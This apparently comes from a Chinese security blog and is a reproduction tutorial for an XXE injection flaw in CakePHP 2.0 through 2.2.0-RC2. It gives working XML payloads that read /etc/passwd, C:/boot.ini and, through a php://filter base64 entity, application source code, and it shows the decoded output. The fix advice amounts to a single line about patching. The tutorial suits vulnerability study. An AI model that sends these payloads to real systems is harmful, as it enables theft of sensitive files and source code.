CakePHP XML外部物體漏洞
一、CakePHP詳解:
CakePHP是一個開源的PHP on rails的full-stack framework,最開始從Ruby On Rails框架里得到靈感,程式員可使用它來快速創建的Web應用程式,我們的首要目的是使你以一種預置的快速且不失靈活性的方式開展作業,
CakePHP 2.0 - 2.2.0-RC2存在XML外部物體注入漏洞,攻擊者可利用此漏洞獲取本地檔案敏感資訊,
二、CakePHP漏洞復現:
搭建好環境,訪問
http://172.16.12.2/simplexml_load_string.php
進行burp抓包,注入poc
Linux:
<!DOCTYPE cakephp [
<!ENTITY payload SYSTEM "file:///etc/passwd" >]>
<request>
<xxe>&payload;</xxe>
</request>
Windows:
<!DOCTYPE cakephp [
<!ENTITY payload SYSTEM "file:///C:/boot.ini" >]>
<request>
<xxe>&payload;</xxe>

將會讀取到passwd檔案的內容
如果修改XML中的外部物體為其他協議,如php://filter/read=convert.base64-encode/resource=index.php,在Proxy選項卡的原資料包中粘貼XML內容,點擊FORWARD放行請求,回傳的結果在瀏覽器上顯示如下
回傳值為PD9waHANCnBocGluZm8oKTsNCj8+,經過base64解碼,可以看到字串是index.php的源代碼
<?php
phpinfo();
?>
我們來訪問一下index.php,可以看到確實是執行了phpinfo();函式

三、漏洞修復建議:
安裝廠商的補丁
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/355236.html
標籤:其他
上一篇:WAF繞過—SQL注入
